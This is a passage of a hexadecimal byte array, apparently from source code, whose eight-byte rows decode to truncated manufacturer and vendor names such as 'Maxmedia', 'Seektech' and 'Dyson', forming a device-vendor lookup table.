0x6f, 0x64,\r\n0x47, 0x6d, 0x65, 0x53, 0x74, 0x61, 0x6e, 0x64,\r\n0x4c, 0x69, 0x70, 0x69, 0x44, 0x61, 0x74, 0x61,\r\n0x4b, 0x61, 0x6d, 0x61, 0x6d, 0x61, 0x00, 0x00,\r\n0x4d, 0x61, 0x78, 0x6d, 0x65, 0x64, 0x69, 0x61,\r\n0x53, 0x65, 0x65, 0x6b, 0x74, 0x65, 0x63, 0x68,\r\n0x50, 0x72, 0x65, 0x73, 0x69, 0x74, 0x69, 0x6f,\r\n0x41, 0x63, 0x6b, 0x4e, 0x65, 0x74, 0x77, 0x6f,\r\n0x42, 0x75, 0x6c, 0x6c, 0x47, 0x72, 0x6f, 0x75,\r\n0x50, 0x72, 0x79, 0x73, 0x6d, 0x00, 0x00, 0x00,\r\n0x51, 0x75, 0x61, 0x6c, 0x69, 0x73, 0x79, 0x73,\r\n0x48, 0x6d, 0x69, 0x53, 0x6f, 0x75, 0x72, 0x63,\r\n0x57, 0x68, 0x69, 0x7a, 0x6e, 0x65, 0x74, 0x73,\r\n0x41, 0x69, 0x72, 0x6f, 0x57, 0x69, 0x72, 0x65,\r\n0x4b, 0x6c, 0x65, 0x6d, 0x73, 0x61, 0x6e, 0x45,\r\n0x52, 0x75, 0x73, 0x74, 0x65, 0x6c, 0x65, 0x74,\r\n0x54, 0x61, 0x67, 0x61, 0x74, 0x65, 0x63, 0x00,\r\n0x53, 0x69, 0x63, 0x6f, 0x6e, 0x69, 0x78, 0x00,\r\n0x43, 0x79, 0x62, 0x65, 0x6c, 0x65, 0x63, 0x53,\r\n0x52, 0x61, 0x63, 0x6b, 0x74, 0x6f, 0x70, 0x00,\r\n0x53, 0x61, 0x6d, 0x62, 0x6f, 0x6e, 0x50, 0x72,\r\n0x53, 0x61, 0x74, 0x63, 0x6f, 0x6d, 0x44, 0x69,\r\n0x46, 0x69, 0x72, 0x65, 0x66, 0x6c, 0x69, 0x65,\r\n0x4f, 0x6d, 0x6e, 0x69, 0x70, 0x72, 0x69, 0x6e,\r\n0x57, 0x61, 0x6c, 0x6c, 0x79, 0x73, 0x43, 0x6f,\r\n0x42, 0x6c, 0x75, 0x65, 0x6e, 0x00, 0x00, 0x00,\r\n0x43, 0x61, 0x64, 0x61, 0x63, 0x48, 0x6f, 0x6c,\r\n0x42, 0x61, 0x63, 0x68, 0x2d, 0x53, 0x69, 0x6d,\r\n0x47, 0x61, 0x6c, 0x6c, 0x65, 0x6f, 0x6e, 0x45,\r\n0x4a, 0x75, 0x6e, 0x65, 0x4c, 0x69, 0x66, 0x65,\r\n0x46, 0x75, 0x67, 0x6f, 0x6f, 0x43, 0x6f, 0x6f,\r\n0x48, 0x64, 0x6d, 0x69, 0x46, 0x6f, 0x72, 0x75,\r\n0x45, 0x76, 0x65, 0x72, 0x65, 0x78, 0x45, 0x6c,\r\n0x5a, 0x70, 0x74, 0x56, 0x69, 0x67, 0x61, 0x6e,\r\n0x55, 0x2d, 0x52, 0x61, 0x6b, 0x75, 0x00, 0x00,\r\n0x4c, 0x69, 0x62, 0x72, 0x61, 0x74, 0x6f, 0x6e,\r\n0x54, 0x75, 0x72, 0x62, 0x75, 0x6c, 0x65, 0x6e,\r\n0x4d, 0x79, 0x69, 0x64, 0x6b, 0x65, 0x79, 0x00,\r\n0x44, 0x61, 0x74, 0x61, 0x67, 0x72, 0x61, 0x76,\r\n0x4e, 0x61, 0x76, 0x69, 0x73, 0x00, 0x00, 0x00,\r\n0x41, 0x4e, 0x53, 0x6f, 0x6c, 0x75, 0x74, 0x69,\r\n0x49, 0x6e, 0x76, 0x65, 0x6e, 0x74, 0x65, 0x6b,\r\n0x4b, 0x65, 0x69, 0x73, 0x6f, 0x6b, 0x75, 0x6b,\r\n0x38, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73,\r\n0x31, 0x30, 0x30, 0x66, 0x69, 0x6f, 0x4e, 0x65,\r\n0x53, 0x70, 0x65, 0x65, 0x64, 0x79, 0x74, 0x65,\r\n0x4d, 0x69, 0x6e, 0x69, 0x65, 0x75, 0x6d, 0x4e,\r\n0x47, 0x32, 0x34, 0x50, 0x6f, 0x77, 0x65, 0x72,\r\n0x4d, 0x63, 0x69, 0x61, 0x6f, 0x54, 0x65, 0x63,\r\n0x53, 0x75, 0x6d, 0x6d, 0x69, 0x74, 0x44, 0x65,\r\n0x4d, 0x65, 0x64, 0x69, 0x61, 0x65, 0x64, 0x67,\r\n0x47, 0x6f, 0x70, 0x65, 0x61, 0x63, 0x65, 0x00,\r\n0x49, 0x2b, 0x4d, 0x65, 0x41, 0x63, 0x74, 0x69,\r\n0x5a, 0x65, 0x62, 0x72, 0x61, 0x49, 0x6e, 0x66,\r\n0x53, 0x6b, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x69, 0x64, 0x6f, 0x72, 0x69, 0x45, 0x6c,\r\n0x45, 0x6e, 0x65, 0x72, 0x67, 0x79, 0x49, 0x6d,\r\n0x47, 0x75, 0x67, 0x61, 0x6f, 0x6f, 0x48, 0x6b,\r\n0x41, 0x69, 0x72, 0x69, 0x73, 0x74, 0x61, 0x46,\r\n0x56, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x55, 0x74,\r\n0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x4a,\r\n0x54, 0x65, 0x72, 0x63, 0x65, 0x6c, 0x54, 0x65,\r\n0x4e, 0x6f, 0x62, 0x6c, 0x65, 0x78, 0x53, 0x61,\r\n0x49, 0x76, 0x69, 0x75, 0x6d, 0x54, 0x65, 0x63,\r\n0x55, 0x32, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x63, 0x73, 0x70, 0x72, 0x6f, 0x00, 0x00,\r\n0x53, 0x63, 0x69, 0x65, 0x78, 0x00, 0x00, 0x00,\r\n0x52, 0x72, 0x63, 0x6e, 0x53, 0x61, 0x73, 0x00,\r\n0x56, 0x73, 0x73, 0x4d, 0x6f, 0x6e, 0x69, 0x74,\r\n0x49, 0x69, 0x2d, 0x56, 0x69, 0x00, 0x00, 0x00,\r\n0x48, 0x6f, 0x6d, 0x65, 0x53, 0x6b, 0x69, 0x6e,\r\n0x53, 0x70, 0x69, 0x63, 0x61, 0x49, 0x6e, 0x74,\r\n0x4b, 0x75, 0x6d, 0x61, 0x6c, 0x69, 0x66, 0x74,\r\n0x44, 0x69, 0x73, 0x68, 0x74, 0x76, 0x4e, 0x7a,\r\n0x49, 0x74, 0x77, 0x47, 0x73, 0x65, 0x41, 0x70,\r\n0x54, 0x64, 0x73, 0x69, 0x00, 0x00, 0x00, 0x00,\r\n0x4f, 0x6d, 0x6e, 0x69, 0x6c, 0x79, 0x6e, 0x63,\r\n0x43, 0x65, 0x6e, 0x74, 0x75, 0x72, 0x79, 0x4f,\r\n0x44, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x00, 0x00,\r\n0x42, 0x63, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x61, 0x53, 0x65,\r\n0x41, 0x64, 0x76, 0x53, 0x65, 0x63, 0x75, 0x72,\r\n0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x64,\r\n0x42, 0x61, 0x72, 0x75, 0x6e, 0x45, 0x6c, 0x65,\r\n0x48, 0x61, 0x6c, 0x66, 0x61, 0x45, 0x6e, 0x74,\r\n0x45, 0x7a, 0x65, 0x78, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x75, 0x6e, 0x74, 0x69, 0x6e, 0x67, 0x49,\r\n0x4a, 0x72, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x69, 0x6f, 0x6e, 0x65, 0x65, 0x72, 0x44,\r\n0x4b, 0x75, 0x6e, 0x62, 0x75, 0x73, 0x00, 0x00,\r\n0x49, 0x6d, 0x6b, 0x4e, 0x65, 0x74, 0x77, 0x6f,\r\n0x57, 0x79, 0x6c, 0x65, 0x72, 0x00, 0x00, 0x00,\r\n0x42, 0x65, 0x6b, 0x65, 0x6e, 0x00, 0x00, 0x00,\r\n0x4d, 0x65, 0x64, 0x69, 0x73, 0x6f, 0x6e, 0x58,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x6d, 0x61, 0x73,\r\n0x53, 0x75, 0x6e, 0x66, 0x6c, 0x65, 0x78, 0x45,\r\n0x44, 0x69, 0x73, 0x70, 0x6c, 0x61, 0x79, 0x00,\r\n0x4f, 0x70, 0x74, 0x63, 0x6f, 0x6d, 0x00, 0x00,\r\n0x41, 0x70, 0x6c, 0x69, 0x63, 0x6f, 0x6d, 0x4f,\r\n0x53, 0x6f, 0x77, 0x43, 0x68, 0x65, 0x6e, 0x67,\r\n0x51, 0x75, 0x61, 0x6e, 0x74, 0x69, 0x66, 0x79,\r\n0x56, 0x61, 0x6c, 0x69, 0x6e, 0x6b, 0x00, 0x00,\r\n0x42, 0x65, 0x61, 0x75, 0x74, 0x69, 0x66, 0x75,\r\n0x4c, 0x75, 0x6d, 0x65, 0x6e, 0x70, 0x75, 0x6c,\r\n0x4e, 0x65, 0x74, 0x4f, 0x70, 0x74, 0x69, 0x63,\r\n0x4e, 0x6f, 0x6c, 0x61, 0x6e, 0x67, 0x72, 0x6f,\r\n0x50, 0x61, 0x6b, 0x74, 0x6f, 0x6e, 0x54, 0x65,\r\n0x4d, 0x78, 0x63, 0x68, 0x69, 0x70, 0x00, 0x00,\r\n0x56, 0x64, 0x69, 0x69, 0x49, 0x6e, 0x6e, 0x6f,\r\n0x4e, 0x65, 0x75, 0x6c, 0x00, 0x00, 0x00, 0x00,\r\n0x4f, 0x61, 0x73, 0x69, 0x73, 0x4d, 0x65, 0x64,\r\n0x4e, 0x65, 0x62, 0x75, 0x6c, 0x61, 0x00, 0x00,\r\n0x56, 0x65, 0x72, 0x69, 0x7a, 0x6f, 0x6e, 0x42,\r\n0x47, 0x6f, 0x79, 0x6f, 0x6f, 0x4e, 0x65, 0x74,\r\n0x48, 0x75, 0x6e, 0x61, 0x6e, 0x43, 0x6f, 0x6d,\r\n0x4d, 0x61, 0x72, 0x63, 0x6f, 0x53, 0x79, 0x73,\r\n0x51, 0x6f, 0x72, 0x76, 0x6f, 0x00, 0x00, 0x00,\r\n0x43, 0x68, 0x69, 0x70, 0x73, 0x65, 0x61, 0x54,\r\n0x45, 0x6d, 0x62, 0x72, 0x61, 0x6e, 0x65, 0x00,\r\n0x5a, 0x70, 0x6d, 0x49, 0x6e, 0x64, 0x75, 0x73,\r\n0x52, 0x75, 0x67, 0x67, 0x65, 0x64, 0x74, 0x65,\r\n0x5a, 0x65, 0x72, 0x6f, 0x31, 0x54, 0x76, 0x00,\r\n0x41, 0x67, 0x61, 0x69, 0x74, 0x54, 0x65, 0x63,\r\n0x4a, 0x65, 0x74, 0x6c, 0x75, 0x6e, 0x53, 0x68,\r\n0x4d, 0x75, 0x65, 0x68, 0x6c, 0x62, 0x61, 0x75,\r\n0x46, 0x6c, 0x69, 0x67, 0x68, 0x74, 0x44, 0x61,\r\n0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x61, 0x6f,\r\n0x4d, 0x69, 0x6c, 0x6b, 0x79, 0x77, 0x61, 0x79,\r\n0x56, 0x65, 0x72, 0x74, 0x75, 0x00, 0x00, 0x00,\r\n0x50, 0x74, 0x63, 0x6f, 0x6d, 0x54, 0x65, 0x63,\r\n0x54, 0x61, 0x6e, 0x67, 0x74, 0x6f, 0x70, 0x54,\r\n0x50, 0x69, 0x73, 0x68, 0x69, 0x6f, 0x6e, 0x49,\r\n0x59, 0x61, 0x6d, 0x61, 0x74, 0x6f, 0x53, 0x63,\r\n0x53, 0x45, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x4c, 0x6f, 0x63, 0x6f, 0x73, 0x79, 0x73, 0x54,\r\n0x53, 0x65, 0x6e, 0x65, 0x63, 0x61, 0x53, 0x52,\r\n0x4e, 0x65, 0x77, 0x73, 0x68, 0x61, 0x72, 0x70,\r\n0x41, 0x72, 0x71, 0x44, 0x69, 0x67, 0x69, 0x74,\r\n0x42, 0x65, 0x6a, 0x69, 0x6e, 0x67, 0x44, 0x61,\r\n0x44, 0x79, 0x73, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x43, 0x79, 0x70, 0x72, 0x65, 0x73, 0x73, 0x43,\r\n0x41, 0x6c, 0x6c, 0x65, 0x6e, 0x4f, 0x72, 0x67,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x69,\r\n0x42, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x69, 0x53,\r\n0x47, 0x2d, 0x57, 0x61, 0x79, 0x4d, 0x69, 0x63,\r\n0x49, 0x6d, 0x61, 0x71, 0x6c, 0x69, 0x71, 0x00,\r\n0x4d, 0x69, 0x6c, 0x6a, 0x6f, 0x76, 0x61, 0x6b,\r\n0x59, 0x69, 0x63, 0x68, 0x75, 0x6e, 0x4d, 0x79,\r\n0x4d, 0x61, 0x6e, 0x7a, 0x61, 0x6e, 0x69, 0x74,\r\n0x50, 0x74, 0x49, 0x6e, 0x6f, 0x76, 0x61, 0x00,\r\n0x4d, 0x65, 0x74, 0x72, 0x6f, 0x6c, 0x6f, 0x67,\r\n0x49, 0x6e, 0x76, 0x75, 0x65, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x64, 0x69, 0x67, 0x69,\r\n0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x4c, 0x6c,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x2d, 0x42, 0x69,\r\n0x56, 0x61, 0x69, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x47, 0x65, 0x77, 0x69, 0x73, 0x73, 0x53, 0x50,\r\n0x53, 0x68, 0x69, 0x6e, 0x69, 0x6e, 0x67, 0x74,\r\n0x4c, 0x65, 0x73, 0x74, 0x65, 0x72, 0x45, 0x6c,\r\n0x43, 0x75, 0x72, 0x69, 0x6f, 0x75, 0x73, 0x65,\r\n0x53, 0x61, 0x53, 0x53, 0x44, 0x61, 0x74, 0x65,\r\n0x49, 0x6e, 0x74, 0x65, 0x73, 0x69, 0x73, 0x53,\r\n0x54, 0x72, 0x75, 0x6d, 0x70, 0x53, 0x41, 0x00,\r\n0x57, 0x61, 0x61, 0x76, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x63, 0x6f, 0x6e,\r\n0x46, 0x6f, 0x75, 0x72, 0x74, 0x65, 0x63, 0x2d,\r\n0x48, 0x65, 0x6c, 0x6c, 0x62, 0x65, 0x72, 0x67,\r\n0x4b, 0x76, 0x68, 0x49, 0x6e, 0x64, 0x75, 0x73,\r\n0x4f, 0x63, 0x6f, 0x6d, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x4f, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x4e, 0x65,\r\n0x54, 0x6f, 0x75, 0x6d, 0x61, 0x7a, 0x00, 0x00,\r\n0x57, 0x65, 0x69, 0x67, 0x68, 0x74, 0x65, 0x63,\r\n0x54, 0x6f, 0x70, 0x77, 0x69, 0x73, 0x65, 0x33,\r\n0x45, 0x6d, 0x70, 0x6f, 0x77, 0x65, 0x72, 0x52,\r\n0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x54, 0x72,\r\n0x4d, 0x69, 0x6e, 0x65, 0x74, 0x65, 0x63, 0x57,\r\n0x53, 0x6f, 0x75, 0x6e, 0x64, 0x4d, 0x61, 0x73,\r\n0x54, 0x6a, 0x6b, 0x54, 0x69, 0x65, 0x74, 0x6f,\r\n0x56, 0x69, 0x73, 0x63, 0x6f, 0x75, 0x6e, 0x74,\r\n0x46, 0x69, 0x6c, 0x6d, 0x65, 0x74, 0x72, 0x69,\r\n0x53, 0x65, 0x65, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x43, 0x6d, 0x61, 0x78, 0x57, 0x69, 0x72, 0x65,\r\n0x4e, 0x69, 0x6b, 0x6b, 0x69, 0x73, 0x6f, 0x00,\r\n0x48, 0x61, 0x6e, 0x73, 0x6f, 0x6e, 0x67, 0x54,\r\n0x50, 0x66, 0x65, 0x69, 0x66, 0x66, 0x65, 0x72,\r\n0x4b, 0x69, 0x6e, 0x65, 0x73, 0x74, 0x72, 0x61,\r\n0x4c, 0x76, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x72, 0x61, 0x6e, 0x73, 0x62, 0x69, 0x74,\r\n0x44, 0x7a, 0x67, 0x4d, 0x65, 0x74, 0x65, 0x72,\r\n0x41, 0x69, 0x66, 0x61, 0x54, 0x65, 0x63, 0x68,\r\n0x4e, 0x65, 0x63, 0x6d, 0x61, 0x67, 0x6e, 0x75,\r\n0x41, 0x6e, 0x62, 0x53, 0x65, 0x63, 0x75, 0x72,\r\n0x45, 0x61, 0x67, 0x6c, 0x65, 0x4b, 0x69, 0x6e,\r\n0x53, 0x74, 0x65, 0x69, 0x6e, 0x65, 0x6c, 0x00,\r\n0x55, 0x6c, 0x74, 0x69, 0x6d, 0x61, 0x6b, 0x65,\r\n0x4f, 0x70, 0x74, 0x69, 0x6c, 0x6f, 0x67, 0x69,\r\n0x41, 0x70, 0x70, 0x6c, 0x69, 0x65, 0x64, 0x54,\r\n0x43, 0x6f, 0x2d, 0x43, 0x6f, 0x6d, 0x6d, 0x53,\r\n0x54, 0x72, 0x69, 0x2d, 0x53, 0x79, 0x73, 0x74,\r\n0x43, 0x69, 0x61, 0x73, 0x45, 0x6c, 0x65, 0x74,\r\n0x53, 0x75, 0x6e, 0x46, 0x6f, 0x75, 0x6e, 0x74,\r\n0x53, 0x6d, 0x2d, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x4a, 0x61, 0x6e, 0x74, 0x65, 0x71, 0x00, 0x00,\r\n0x41, 0x69, 0x63, 0x6f, 0x6e, 0x6e, 0x54, 0x65,\r\n0x53, 0x63, 0x72, 0x45, 0x6e, 0x67, 0x69, 0x6e,\r\n0x4d, 0x61, 0x6e, 0x67, 0x73, 0x74, 0x6f, 0x72,\r\n0x4d, 0x79, 0x53, 0x6f, 0x63, 0x69, 0x61, 0x6c,\r\n0x53, 0x6f, 0x79, 0x65, 0x61, 0x54, 0x65, 0x63,\r\n0x44, 0x63, 0x6f, 0x6e, 0x77, 0x6f, 0x72, 0x6b,\r\n0x56, 0x61, 0x68, 0x6c, 0x65, 0x44, 0x65, 0x74,\r\n0x45, 0x75, 0x6b, 0x72, 0x65, 0x61, 0x45, 0x6c,\r\n0x33, 0x69, 0x73, 0x79, 0x73, 0x6e, 0x65, 0x74,\r\n0x41, 0x79, 0x65, 0x63, 0x6b, 0x61, 0x43, 0x6f,\r\n0x4c, 0x75, 0x6d, 0x65, 0x77, 0x61, 0x76, 0x65,\r\n0x58, 0x69, 0x41, 0x6e, 0x48, 0x69, 0x73, 0x75,\r\n0x55, 0x2d, 0x42, 0x6c, 0x6f, 0x78, 0x00, 0x00,\r\n0x52, 0x69, 0x7a, 0x54, 0x72, 0x61, 0x6e, 0x73,\r\n0x50, 0x6f, 0x72, 0x73, 0x63, 0x68, 0x65, 0x43,\r\n0x42, 0x69, 0x6f, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x75, 0x6e, 0x72, 0x65, 0x78, 0x54, 0x65,\r\n0x55, 0x6e, 0x69, 0x70, 0x72, 0x69, 0x6e, 0x74,\r\n0x4c, 0x69, 0x74, 0x74, 0x6c, 0x65, 0x62, 0x69,\r\n0x49, 0x6e, 0x67, 0x65, 0x6e, 0x69, 0x63, 0x53,\r\n0x41, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x6f, 0x75, 0x74, 0x68, 0x77, 0x65, 0x73,\r\n0x44, 0x61, 0x74, 0x74, 0x75, 0x73, 0x00, 0x00,\r\n0x5a, 0x6f, 0x6f, 0x6d, 0x53, 0x65, 0x72, 0x76,\r\n0x53, 0x69, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x65,\r\n0x50, 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6c,\r\n0x57, 0x65, 0x72, 0x6d, 0x61, 0x53, 0x69, 0x67,\r\n0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x6f,\r\n0x43, 0x65, 0x72, 0x61, 0x6d, 0x69, 0x63, 0x72,\r\n0x49, 0x2d, 0x42, 0x74, 0x44, 0x69, 0x67, 0x69,\r\n0x53, 0x61, 0x72, 0x74, 0x75, 0x72, 0x61, 0x44,\r\n0x43, 0x68, 0x69, 0x6e, 0x61, 0x45, 0x73, 0x73,\r\n0x4d, 0x65, 0x69, 0x6b, 0x6f, 0x4d, 0x61, 0x73,\r\n0x53, 0x6f, 0x6c, 0x69, 0x64, 0x72, 0x75, 0x6e,\r\n0x4c, 0x75, 0x6d, 0x69, 0x6e, 0x65, 0x78, 0x4c,\r\n0x56, 0x65, 0x72, 0x74, 0x6f, 0x4d, 0x65, 0x64,\r\n0x42, 0x73, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x6f, 0x70, 0x77, 0x65, 0x6c, 0x6c, 0x49,\r\n0x4d, 0x69, 0x6e, 0x69, 0x2d, 0x43, 0x69, 0x72,\r\n0x44, 0x6f, 0x6e, 0x67, 0x4f, 0x68, 0x50, 0x72,\r\n0x4c, 0x69, 0x66, 0x69, 0x4c, 0x61, 0x62, 0x73,\r\n0x52, 0x65, 0x6e, 0x6f, 0x41, 0x26, 0x45, 0x00,\r\n0x4c, 0x65, 0x69, 0x65, 0x49, 0x6f, 0x74, 0x54,\r\n0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x50,\r\n0x4f, 0x75, 0x57, 0x65, 0x69, 0x54, 0x65, 0x63,\r\n0x58, 0x74, 0x65, 0x6c, 0x57, 0x69, 0x72, 0x65,\r\n0x41, 0x70, 0x63, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x53, 0x6b, 0x75, 0x6c, 0x6c, 0x63, 0x61, 0x6e,\r\n0x50, 0x61, 0x73, 0x73, 0x69, 0x66, 0x53, 0x65,\r\n0x55, 0x70, 0x77, 0x69, 0x73, 0x00, 0x00, 0x00,\r\n0x44, 0x75, 0x63, 0x65, 0x72, 0x65, 0x54, 0x65,\r\n0x53, 0x74, 0x6f, 0x6e, 0x65, 0x73, 0x74, 0x72,\r\n0x45, 0x6d, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x78,\r\n0x46, 0x6f, 0x73, 0x74, 0x65, 0x72, 0x45, 0x6c,\r\n0x4c, 0x69, 0x6e, 0x6b, 0x63, 0x6f, 0x6d, 0x00,\r\n0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x54,\r\n0x4e, 0x65, 0x75, 0x62, 0x65, 0x72, 0x67, 0x65,\r\n0x53, 0x6f, 0x6e, 0x69, 0x66, 0x65, 0x78, 0x00,\r\n0x4c, 0x69, 0x6e, 0x6b, 0x74, 0x6f, 0x70, 0x54,\r\n0x4d, 0x6f, 0x65, 0x6e, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x6f, 0x65, 0x77, 0x69, 0x74, 0x00, 0x00,\r\n0x42, 0x65, 0x73, 0x74, 0x63, 0x61, 0x72, 0x65,\r\n0x53, 0x65, 0x70, 0x72, 0x6f, 0x52, 0x6f, 0x62,\r\n0x53, 0x68, 0x6c, 0x54, 0x65, 0x6c, 0x65, 0x6d,\r\n0x44, 0x73, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x6e,\r\n0x43, 0x6e, 0x73, 0x6c, 0x69, 0x6e, 0x6b, 0x00,\r\n0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x4d,\r\n0x53, 0x6b, 0x79, 0x62, 0x65, 0x6c, 0x6c, 0x00,\r\n0x54, 0x61, 0x6d, 0x61, 0x67, 0x61, 0x77, 0x61,\r\n0x4c, 0x61, 0x74, 0x65, 0x63, 0x6f, 0x65, 0x72,\r\n0x45, 0x6e, 0x65, 0x72, 0x67, 0x79, 0x4d, 0x69,\r\n0x4b, 0x32, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00,\r\n0x42, 0x65, 0x63, 0x6b, 0x6d, 0x61, 0x6e, 0x43,\r\n0x4d, 0x69, 0x6f, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x76, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00,\r\n0x57, 0x69, 0x6e, 0x74, 0x6f, 0x70, 0x00, 0x00,\r\n0x47, 0x65, 0x6e, 0x69, 0x65, 0x4e, 0x65, 0x74,\r\n0x59, 0x6f, 0x67, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x57, 0x65, 0x61, 0x72, 0x61, 0x62, 0x6c, 0x65,\r\n0x5a, 0x68, 0x65, 0x68, 0x75, 0x61, 0x54, 0x65,\r\n0x53, 0x65, 0x6f, 0x77, 0x6f, 0x6f, 0x00, 0x00,\r\n0x53, 0x74, 0x65, 0x61, 0x64, 0x79, 0x73, 0x65,\r\n0x48, 0x65, 0x6c, 0x6d, 0x75, 0x74, 0x4d, 0x61,\r\n0x51, 0x69, 0x68, 0x6f, 0x6f, 0x33, 0x36, 0x30,\r\n0x50, 0x68, 0x6f, 0x65, 0x6e, 0x69, 0x78, 0x42,\r\n0x4d, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x44, 0x65, 0x6c, 0x70, 0x68, 0x69, 0x61, 0x6e,\r\n0x53, 0x6f, 0x6c, 0x69, 0x64, 0x53, 0x65, 0x6d,\r\n0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x00, 0x00,\r\n0x48, 0x75, 0x61, 0x6e, 0x73, 0x68, 0x75, 0x6e,\r\n0x53, 0x68, 0x6f, 0x74, 0x73, 0x70, 0x6f, 0x74,\r\n0x41, 0x6e, 0x6f, 0x62, 0x69, 0x74, 0x54, 0x65,\r\n0x51, 0x75, 0x61, 0x64, 0x72, 0x61, 0x6e, 0x74,\r\n0x52, 0x63, 0x66, 0x53, 0x50, 0x41, 0x00, 0x00,\r\n0x54, 0x6f, 0x68, 0x6f, 0x45, 0x6c, 0x65, 0x63,\r\n0x4a, 0x61, 0x69, 0x4f, 0x79, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x66, 0x6f, 0x70, 0x69, 0x61, 0x00,\r\n0x49, 0x6f, 0x62, 0x72, 0x69, 0x64, 0x67, 0x65,\r\n0x5a, 0x69, 0x6d, 0x6f, 0x72, 0x79, 0x00, 0x00,\r\n0x53, 0x6b, 0x79, 0x4c, 0x69, 0x67, 0x68, 0x74,\r\n0x41, 0x6b, 0x65, 0x6e, 0x6f, 0x72, 0x69, 0x50,\r\n0x53, 0x69, 0x6e, 0x77, 0x61, 0x74, 0x65, 0x63,\r\n0x46, 0x69, 0x6b, 0x65, 0x00, 0x00, 0x00, 0x00,\r\n0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x54,\r\n0x49, 0x67, 0x72, 0x73, 0x45, 0x6e, 0x67, 0x69,\r\n0x43, 0x61, 0x72, 0x6d, 0x61, 0x49, 0x6e, 0x64,\r\n0x4a, 0x69, 0x61, 0x6e, 0x67, 0x78, 0x69, 0x48,\r\n0x56, 0x75, 0x70, 0x70, 0x61, 0x6c, 0x61, 0x6d,\r\n0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x74, 0x65,\r\n0x4b, 0x65, 0x6d, 0x70, 0x65, 0x72, 0x44, 0x69,\r\n0x43, 0x65, 0x69, 0x76, 0x61, 0x4c, 0x6f, 0x67,\r\n0x54, 0x61, 0x6e, 0x67, 0x6f, 0x77, 0x69, 0x66,\r\n0x49, 0x62, 0x74, 0x49, 0x6e, 0x67, 0x65, 0x6e,\r\n0x4e, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x73,\r\n0x56, 0x69, 0x67, 0x6f, 0x53, 0x79, 0x73, 0x74,\r\n0x46, 0x69, 0x62, 0x65, 0x72, 0x4d, 0x6f, 0x75,\r\n0x47, 0x61, 0x6c, 0x6c, 0x65, 0x6f, 0x6e, 0x00,\r\n0x50, 0x72, 0x6f, 0x43, 0x6f, 0x6e, 0x63, 0x65,\r\n0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x55,\r\n0x52, 0x69, 0x65, 0x64, 0x6f, 0x4e, 0x65, 0x74,\r\n0x55, 0x6e, 0x69, 0x74, 0x65, 0x64, 0x47, 0x75,\r\n0x4e, 0x65, 0x6f, 0x76, 0x65, 0x6e, 0x74, 0x75,\r\n0x53, 0x6e, 0x61, 0x70, 0x41, 0x76, 0x00, 0x00,\r\n0x43, 0x73, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x57, 0x61, 0x78, 0x65, 0x73, 0x73, 0x55, 0x73,\r\n0x42, 0x72, 0x61, 0x67, 0x69, 0x00, 0x00, 0x00,\r\n0x43, 0x61, 0x6d, 0x65, 0x72, 0x6f, 0x6e, 0x65,\r\n0x4e, 0x65, 0x6f, 0x4d, 0x6f, 0x6e, 0x69, 0x74,\r\n0x49, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73,\r\n0x41, 0x72, 0x67, 0x6f, 0x73, 0x79, 0x54, 0x65,\r\n0x48, 0x64, 0x70, 0x72, 0x6f, 0x00, 0x00, 0x00,\r\n0x4d, 0x65, 0x6c, 